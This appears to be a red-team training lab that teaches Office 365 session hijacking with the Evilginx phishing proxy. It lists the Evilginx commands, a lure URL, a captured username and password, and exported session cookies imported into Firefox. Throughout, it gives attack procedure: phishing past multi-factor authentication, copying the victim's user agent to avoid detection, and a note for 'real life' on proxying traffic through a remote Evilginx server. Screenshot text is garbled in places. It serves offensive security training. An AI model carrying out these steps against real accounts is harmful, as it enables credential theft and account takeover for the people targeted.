# Lab 09: Hijacking an Office 365 session with Evilginx

## Table of Contents

Lab 09: Hijacking an Office 365 session with Evilginx	1
Goals	1
Requirements	1
1. Simulating a Target User Logging into the Evilginx Landing Page:	1
2. Hijacking the user's Office 365 session	5
Additional resources	

#### Goals

• Take over the Office 365 session of a user that logs into your Evilginx landing page.

#### Requirements

- Kali Linux VM with Internet access.
- Evilginx server configured in the previous exercise.
- Microsoft 365 user accounts created during setup.

## 1. Simulating a Target User Logging into the Evilginx Landing Page:

1. Your Evilginx landing page should still be running from the previous lab. If it is not, start Evilginx with the following command. (If Evilginx is already running from the previous lab, you can skip to step 4.)

sudo evilginx -developer

2. If you started Evilginx back up with the command above, confirm that the o365 phishlet is still running in the table displayed by Evilginx on startup. You can also display this table in Evilginx at any time by running the "phishlets" command.

#### phishlets

phishlet	author	active	status	hostname
amazon	@customsync		available	
instagram	@charlesbel		available	
onelogin	<pre>@perfectlylog</pre>		available	
protonmail	@jamescullum		available	
reddit	@customsync		available	
twitter-mobile	@white_fi		available	
wordpress.org	@meitar		available	
facebook	@charlesbel		available	
linkedin	@mrgretzky	<u>disabled</u>	available	
0365	@jamescullum	enabled	available	attacker-doma

Confirmation that "o365" is Enabled

3. Next, confirm that the lure URL you created in the previous lab still exists by listing active lures with the "lures" command.

lures							
: lure	S						
+   id	phishlet	hostname	path	+   template	ua_filter	redirect_url	++   og
0	0365		/uGgnaKNK				ļ ļ
:				<del>,</del>			

Confirmation of Valid Lure URL

4. Display the lure URL you created in the previous lab with the "lures get-url 0" command. Copy the lure URL to your clipboard for use in the next step.

lures get-url 0		
:	lures get-url 0	
ht	tps://login.attacker-domain.com/uGgnaKNK	
:		



5. Open the Google Chrome web browser from the applications menu at the top-left corner of your Kali Linux desktop. For this exercise, the Chrome web browser will represent the web browser of your phishing target. Then open your lure URL in Chrome by pasting the URL into the address bar.



Google Chrome Execution

6. Log in to the Office 365 login page displayed in your browser with the Office 365 user account you've configured to use multi-factor authentication. For convenience during this exercise, if prompted to stay signed in, check the

box labelled, "Don't show this again", and choose "Yes". Each step of the login process is shown in the screenshots below.



Logging in to the Evilginx Landing Page as Bob

Microsoft	
$\leftarrow bob@heleno1.onmicrosoft.com$	
Enter password	
Fornot my password	
r orgot my pussword	

Submission of Bob's Password

hob@halana1 onmi	crosoft com	
Enter code	lioson.com	
123 Please type in t authenticator a	the code displayed or pp from your device	n your
626090		
More information		
	Cancel	Verify

Continuing to Log in Using Bob's Multi-Factor Authentication Token



Clicking Yes

7. After logging in to your target user's account in Chrome, you should see output in Evilginx indicating that the username, password, and authorization tokens have been intercepted successfully, as in the screenshot below.



Bob's Login Data Captured by Evilginx

#### 2. Hijacking the user's Office 365 session

In this phase of the exercise, you'll use the Firefox web browser on your Kali VM to access the account of the target user with the session tokens that you just captured with Evilginx.

Before attempting to hijack the target user's session in Office 365, the connection from your web browser needs to be modified to match the connection made by the target user. This means changing your browser's User Agent and its source IP address to match those of the connection made by the target user.

**NOTE FOR WHEN YOU DO THIS IN REAL LIFE:** Because Evilginx acts as a proxy and relays the target user's connection to the real Office 365 web server, your connection to Office 365 also needs to be relayed through the server where Evilginx is running. This isn't necessary in this exercise since Evilginx is running on your local system, but in a real attack where Evilginx is running on a web server on the Internet, it would be required.

For reference, the SSH -D flag (shown below) can be used to easily start a local SOCKS proxy that routes traffic through a remote Evilginx server. After running this command, you would configure your local web browser to connect to port 8080 on your local system as a SOCKS5 proxy. Web traffic would then be routed through your Evilginx server and have the same source IP as your captured user sessions as a result.

You don't need to run the SSH command for this exercise. It's just here for future reference.

ssh <username>@<Evilginx-server> -D 8080

1. In the Terminal window where Evilginx is running, use the "sessions" command to list the user sessions that have been captured. Then run "sessions" followed by the session ID to display details about the captured session.

#### sessions

#### sessions 1

: sess	ions							
id	phishlet	username	password	tokens	remote ip	time		
1		bob@heleno1	Wintertime2021!	captured	127.0.0.1	2021-01-09 10:37		
<pre>tt-tttttt : sessions 1 id : 1 phishlet : o365 username : bob@heleno1.onmicrosoft.com password : Wintertime2021! tokens : captured landing url : https://login.attacker-domain.com/TSRnLbES user-agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Sa fari/537.36 remote ip : 127.0.0.1 create time : 2021-01-09 10:28 wrdate time : 2021.01.00 10:27</pre>								
<pre>create time : 2021-01-09 10:28 update time : 2021-01-09 10:37 [{"path":"/","domain":"login.microsoftonline.com","expirationDate":1641748047,"value":"0.AAAASLdgNvlC3UOAVt3-Z 0M4CbmnRUNjmhBJpCY1NjIB1QN3ALM.AgABAAQAAABeStGSRwwnTq2vHplZ9KL4AQDs_wMA9P_c01JmI-0-RH0jgDVVvBmAHnlajLqYeCIpoWC eB79g9z5UP76ErGwUCp2YV1vUbMXjB3yoxmLhXw","name":"ESTSAUTH","httpOnly":true},{"path":"/","domain":"login.micros oftonline.com","expirationDate":1641748047,"value":"0.AAAASLdgNvlC3UOAVt3-Z0M4CbmnRUNjmhBJpCY1NjIB1QN3ALM.AgAB AAQAAABeStGSRwwnTq2vHplZ9KL4AQDs_wMA9P_YFK-ufZP144raD4UDLoc1PIipHUPQc6stF5jSDJS_pb6u4PbDEsq3fceEsFQbspvA7hLtb7 _0QvcUUuyrsteRhcnNH2MJbqveGqEtIiagIkvZWIAnEQ9gTht-yu5PdCB3jMMNnaL0dpaEM-h3GYrXVbQKkYa_TmEP80oStkzfGTaISJSDOZUV B212Nhj15iDlozk6F8o03frf6HS9oSxlTdTicWBca4zh7piidr2pdDaL_xM-CJVHNuEp5kWDV5SZco3CGq4hIo8zwNmq_et-QgPp0RBBiPWUVY jxErMjhc0V6j7vZ8rr99L68nMKpAV1xREKHqm04t0YdWCxH9XrZC6WDpFojErRYzxhgh6uW1x0bz7fIXkMks020ueREPMNRutFV07zRN71VkB CjJdy7no7UjMzEAYQtrVqc5QKREThqMXDMU4RrsvPJg_JbsE91XhmnRl4CAFYTjU_CjaUJxxIMmNGi4Rmqd0674","name":"ESTSAUTHPERSI STENT","httpOnly":true},{"path":"/","domain":"login.microsoftonline.com","expirationDate":1641748047,"value":" CAQABAAIAAABeStGSRwwnTq2vHplZ9KL4vfQmMczP04nWPBChh9Ri17qFt1-0YoBTHVaph9BXImHdPr5IrWUleCbK3DhwQifslYaT21niB5DUF XaC69FU9GkKzJ05COZXX4sWdJzxwfA-NfrUbE2NBtP6AKFh9YNjsbaG_YfgN08EjhBdkokvq0Hcoh5K0x8idCA-MLMWoTs7B_TMU7buR3PQ6j JcdphJSJYbdtkSiQ-vHeofHulqAn0IAhBS_Sc6QJbbWPaSciiSWw5IPutEQ2mpykF0H_oIAA","name":"SignInStateCookie","httpOnly ":true", hostOnly":true}]</pre>								

Sessions Listed and Session Details Shown

2. I mentioned earlier that your browser's User Agent would need to be changed to match the User Agent of the target user. To view your browser's current User Agent, use Firefox to perform a Google search for "what is my user agent". Your User Agent will be displayed at the top of the search results.

Google	what is my user agent	× Q
	🔍 All 🗉 News 🌓 Books 🔗 Shopping 🕩 Videos 🗄 More	Settings Tools
	About 1,480,000,000 results (0.42 seconds) Your user agent Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101	
	Firefox/78.0	Feedback

Displaying the User Agent with Google

3. To change your browser's User Agent to match the User Agent of your target user, copy the "user-agent" value from the session details displayed in your Evilginx window.



Copying the User Agent String Captured by Evilginx

4. After copying the target's User Agent, click on the User Agent Switcher icon to the right of the address bar in Firefox. In the window that appears, paste the target's User Agent into the "userAgent" text box. Then click the button labelled "Apply (all windows)".

🔟 what is my user agent - Google Search - Mozilla Firefox _ 🛛								
<u>F</u> ile <u>E</u> dit <u>V</u> iew	Hi <u>s</u> tory	<u>B</u> ookmarks <u>T</u> ools	<u>H</u> elp					
<b>G</b> what is my user ag	G what is my user agent – G × +							
← → ♂ ✿		https://www.google.co	m/search?client=fire	efox-L 👓 🔽 🟠	III 🗉 🕸 🛃 🚺			
		Chrome	✓ Windows	▼ Filter among 400	Z to A 👻			
Google	what i	Chrome 99.0.7113.93	Windows 10	Mozilla/5.0 (Windows NT 10.0)	AppleWebKit/537.36 (KH			
	Q AII	Chrome 89.0.4371.0	Windows 7	Mozilla/5.0 (Windows NT 6.1; W	în64; x64) AppleWebKit/			
		Chrome 89.0.4371.0	Windows 10	Mozilla/5.0 (Windows NT 10.0; V	Vin64; x64) AppleWebKit			
Abou		Chrome 89.0.4369.0	Windows 10	Mozilla/5.0 (Windows NT 10.0; V	Vin64; x64) AppleWebKit			
	You	Chrome 89.0.4363.0	Windows 10	Mozilla/5.0 (Windows NT 10.0; V	Vin64; x64) AppleWebKit			
	Mc Fir	Chrome 89.0.4363.0	Windows 7	Mozilla/5.0 (Windows NT 6.1; W	OW64) AppleWebKit/53			
		Chromo 90 0 4956 6	Windows 7	Mazilla/E 0 /Mindows NT 6 1- M	OWEAL ApploWobVit/E2			
		userAgent Mozilla/5.0 (X11	I; Linux x86_64) AppleWebKi	it/537.36 (KHTML, like Gecko) Cl	hrome/87.0.4280.141 Safari/!			
	100000/10	appVersion 5.0 (X11; Linux	x86_64) AppleWebKit/537.3	36 (KHTML, like Gecko) Chrome/	87.0.4280.141 Safari/537.36			
	Wha	platform Linux		vendor Google Inc.				
	Your U	product Gecko		oscpu [delete]				
	Applev				4			
	Parse	Options	Restart	Refresh Tab	Reset			
		Test UA	Consider Containers	Apply (active window)	Apply (all windows)			
	WWW.W	matsmyua.mio 🔻						

Changing the User Agent in Firefox

5. After applying the new User Agent, the User Agent Switcher icon in the Firefox toolbar will turn orange to indicate that it has been enabled, and searching Google for "what is my user agent" again will now display new User Agent string.

Double-check that the User Agent reported by Google is **exactly the same** as the User Agent displayed in the session details in Evilginx, since even small variations may alert Office 365 that session hijacking is taking place.



Confirming User Agent Change with Google

6. As a final precaution before executing the attack, click on the History menu in the Firefox menu bar and choose "Clear Recent History..."

۲				what is	my user age	ent - Google S	earch - Mozilla Fire	efox	
<u>F</u> ile	<u>E</u> dit	<u>V</u> iew	Hi <u>s</u> tory	<u>B</u> ookmarks	<u>T</u> ools	<u>H</u> elp			
G wh	nat is m	y user ag	Show	All History	Ctr	l+Shift+H			
Æ.	) ∩	۵	Clear F	Recent History.	Ctrl+	Shift+Del	lient=firefc ••	. 🖂	∻
$\odot$		<u>u</u>	Restor	e Previous Ses	sion	,		~	м
			Recent	tly Closed Tabs	5	>			
G	oog	e	Recent	tly Closed Win	dows	>			
			G what is	s my user agen	t - Googl	e Search			

Clearing Firefox History

7. In the "Clear All History" window that appears, check all of the boxes and make sure that "Time range to clear" is set to "Everything". Then click "OK". This will ensure that any cookies or other data from previous user sessions have been cleared from your browser before attempting to impersonate the target user.

🍯 Clear All	History	• ×
Time range to clear: Everything		~
All history will be cleared This action cannot be un	d. done.	
History		
✓ <u>B</u> rowsing & Download History	✓ Cookies	
✓ Active Logins	✓ C <u>a</u> che	
✓ <u>F</u> orm & Search History		
Data		
✓ Site Preferences	✓ Offline Web	osite Data
	Cancel	ОК

Clearing History in Firefox

8. Everything should now be ready to hijack the Office 365 session you captured with Evilginx. To hijack the user's session, copy all of the text (JSON data) at the bottom of the session details displayed in Evilginx. This text is all

of the target user's cookies for Office 365 that was captured when the user logged in through the Evilginx landing page.

<pre>remote ip : 127.0.0.1 create time : 2021-01-09 10:28 update time : 2021-01-09 10:37 [{"path":"/","domain":"login.microsoftonline.com" AAASLdgNvlC3U0AVt3-Z0M4CbmnRUNjmhBJpCY1NjIB1QN3AL A9P-YFK-ufZP144raD4UDLoc1PIipHUPQc6stFSjSDJS_pb6u cnNH2MJbqveGqEtIiagIkvZWIAnEQ9gTTht-yu5PdCB3jMMNn b0ZuVB212Nhj15iDlozk6F8o03frf6HS9oSxlTdTicWBca4zh o8zwNmq_et-QgPp0RBBiPWUVYjxErMjhc0V6j7vZ8rr99L68n xhgh6uW1x0bz7fIXkMks020ueREPMNRutFVQ7zRN71VkBCjJd bsE91XhmnRl4CAFYTjU_CjaUJxxIMmNGi4Rmqd0674","name "path":"/","domain":"login.microsoftonline.com","</pre>	<ul> <li>Copy Selection</li> <li>Paste Clipboard</li> <li>Paste Selection</li> <li>Zoom in</li> <li>Zoom out</li> <li>Zoom reset</li> <li>Clear Active Terminal Split Terminal <u>H</u>orizontally</li> </ul>	Ctrl+Shift+C Ctrl+Shift+V Shift+Ins "0.A Ctrl++ S.wM Ctrl+- S.wM Ctrl+- S.wM Ctrl+0 G4hI Ctrl+Shift+X TRYZ Jg_J e}, {
ASLdgNvlC3U0AVt3-Z0M4CbmnRUNjmhBJpCY1NjIB1QN3ALM. P_c01JmI-Q-RH0jgDVVvBmAHnlajLqYeCIpoWCeB79g9z5UP7 SAUTH", "httpOnly":true}, {"path":"/", "domain":"log 1641748376, "value":"CAQABAAIAAABeStGSRwwnTq2vHplZ 9BXImHdPr5IrWUleCbK3DhwQifslYaT21niBsDUFXaC69FU9G NjsbaG_YfgN08EjhBdkokvqoHcoh5K0x8idCA-MLMWoTs7B_T AhBS_Sc6QJbbWPaSciiSWw5IPutEQ2mpykF0H_oIAA", "name st0nly":true}]	<u>Collapse Subterminal</u> <u>T</u> oggle Menu <u>H</u> ide Window Borders <u>P</u> references ":"SignInStateCookie","ht	wMA9 "EST Ctrl+Shift+M Ite": IVaph (Fh9Y AnOI tpOnly":true,"ho

Copying Captured Session Cookies

9. Open a text editor from the Kali applications menu, and then paste the text you copied from Evilginx into the new text document.



**Opening a Text Editor** 

*Untitled 1 - Mousepad		×
File Edit Search View Document Help		
[{"path":"/","domain":"login.microsoftonline.com","expirationDate":-		
1641748376,"value":"0.AAAASLdgNvlC3UOAVt3-		
Z0M4CbmnRUNjmhBJpCY1NjIB1QN3ALM.AgABAAQAAABeStGSRwwnTq2vHplZ9KL4AQDs_wMA9P-YFK-		
ufZP144raD4UDLoc1PIipHUPQc6stFSjSDJS_pb6u4PbDEsq3fceEsFQbspvA7hLtb7_0QvcUUuyrsteRhcnNH2MJ	vpc	e-
GqEtIiagIkvZWIAnEQ9gTTht-yu5PdCB3jMMNnaL0dpaEM-		
h3GYrXVbQKkYa_TmEP80oStkzfGTaEJSbOZuVB212Nhj15iDlozk6F8o03frf6HS9oSxlTdTicWBca4zh7piidr2p	lDa	L-
_xM-CJVHNuEp5kWDV5SZCo3CGq4hIo8zwNmq_et-		
QgPp0RBBiPWUVYjxErMjhcOV6j7vZ8rr99L68nMKppAV1xREKHqm04t0YdWCxH9XrZC6WDpFojErRYzxhgh6uW1x0	)z7	f-
IXkMks020ueREPMNRutFVQ7zRN71VkBCjJdy7no7UjMzEAYQtrVqc5QKREThqMXDMU4RrsvPJg_JbsE91XhmnRl4C/	١FY	T-
jU_CjaUJxxIMmNGi4Rmqd0674","name":"ESTSAUTHPERSISTENT","httpOnly":true},-		
{"path":"/","domain":"login.microsoftonline.com","expirationDate":-		
1641748376,"value":"0.AAAASLdgNvlC3U0AVt3-		
Z0M4CbmnRUNjmhBJpCY1NjIB1QN3ALM.AgABAAQAAABeStGSRwwnTq2vHplZ9KL4AQDs_wMA9P_c01JmI-Q-		
RH0jgDVVvBmAHnlajLqYeCIpoWCeB79g9z5UP76ErGwUCp2YV1vUbMXjB3yoxmLhXw","name":"ESTSAUTH","htt	cp0	n-
ly":true},{"path":"/","domain":"login.microsoftonline.com","expirationDate":-		
1641748376,"value":"CAQABAAIAAABeStGSRwwnTq2vHplZ9KL4vfQmMczP04nWPBChh9Ri17qFt1-		
OYoBTHVaph9BXImHdPr5IrWUleCbK3DhwQifslYaT21niBsDUFXaC69FU9GkKzJ6JSC0ZXX4sWdJzxwfA-		
NfrUbE2NBtP6AKFh9YNjsbaG_YfgN08EjhBdkokvqoHcoh5K0x8idCA-		
MLMWoTs7B_TMU7buR3pQ6jJcdphJSJYbdtkSiQ-		
vHeofHulqAnOIAhBS_Sc6QJbbWPaSciiSWw5IPutEQ2mpykF0H_oIAA","name":"SignInStateCookie","http:	nl	y-
[":true,"hostOnly":true}]		

Cookie Data After Pasting into the Text Editor

10. Save the text document as "session1.json" in your Kali user's home directory.

0		Save As				• ×
Nam	e: session1.json 2					
A	Home 1	🔹 🏫 kali 🕨				
•	Desktop	Name	•	Size	Туре	Modified
	Documents	Desktop				17 Nov 2020
+	Downloads	Documents				17 Nov 2020
л	Music	Downloads				Yesterday
_	Pi i	Music				17 Nov 2020
	Pictures	Pictures				17 Nov 2020
	Videos	Public				17 Nov 2020
	sf_RedTeam_Small_Files (	Templates				17 Nov 2020
_		Videos				17 Nov 2020
	sf_RedTeam_Large_Files (	o ca.crt		1.2 kB	X.509 Certificate	10:01
+	Other Locations					
					Cancel	L Save

Saving "session1.json"

11. In Firefox, click on the Cookiebro icon to the right of the address bar. Then click on "Cookie Editor" in the menu that appears below the icon.

Mozilla Firefox		-		×
<u>H</u> elp				
	II\ 🗉 🛎 🕸 🚺	P	-	=
	Clear unwanted cookies (1 out of 1)			
	Options			
	Cookie Editor 2			
	Cookie Log			

Opening Cookiebro Cookie Editor

12. In the Cookiebro Editor tab, click on the "Import cookies as JSON" icon in the toolbar. The icon looks like a rectangle with an arrow pointing to the left.



Import Cookies Icon

13. In the "File Upload" window, choose the "session1.json" file that you saved in the Kali user's home directory.

۷		File Upload			• ×
0	Recent	▲ kali ■ Desktop →			
<b>A</b>	Home 1	Name	▼ Size	Туре	Modified
	Desktop	🔜 Desktop			17 Nov 2020
	Documents	Documents			17 Nov 2020
+	Downloads	Downloads			Yesterday
-	Music	Music			17 Nov 2020
99	Music	Pictures			17 Nov 2020
-	Pictures	Public			17 Nov 2020
	Videos	Templates			17 Nov 2020
_		Videos			17 Nov 2020
Ê.	sf_RedTeam_Small_Files	ca.crt	1.2 kB	X.509 Certificate	10:01
	sf_RedTeam_Large_Files 🔺	session1.json	1.5 kB	Program	12:44
+	Other Locations				
					All Files 🔻
				Can 3	1 Open

Importing "session1.json"

14. After importing the file, you should see two new branches for login.microsoftonline.com appear in the Cookiebro Editor, and a "Cookies imported!" message will temporarily be displayed at the bottom of the window.

× 🃀 Cookiebro Editor 🛛 🗙	+
🗊 🏚 Extensionookiebro) 🛛 moz-extens	sion://873ae 🚥 🗵 🏠 💷 🖲
토3 送K 🔾 🖻 🖻 🗑 🕀 Search by dor	main or nam <b>Q</b>
G *.google.com	
	Cookies imported!

Cookies Imported Successfully

15. Finally, use Firefox to browse to portal.office365.com. If everything was done correctly, you should be logged in to Office 365 as the target user.

🝅 New Tab	× 📀 Cookiebro Editor 🛛 🗙	单 New Tab	×	+			
$\leftrightarrow$ $\rightarrow$ C $\triangle$	Q portal.office365.com	$\rightarrow$	lii\	•	۱	*	•
	http://portal.office365.com/ — Visit						
	G portal.office365.com						
	This time, search with: 🔤 💄	🔞 G w 🌣					

Browsing to the Office 365 Website



Session Hijacked!

### Additional resources

- Evilginx 2 project on GitHub
- User Agent Switcher and Manager browser extension
- <u>Cookiebro browser extension</u>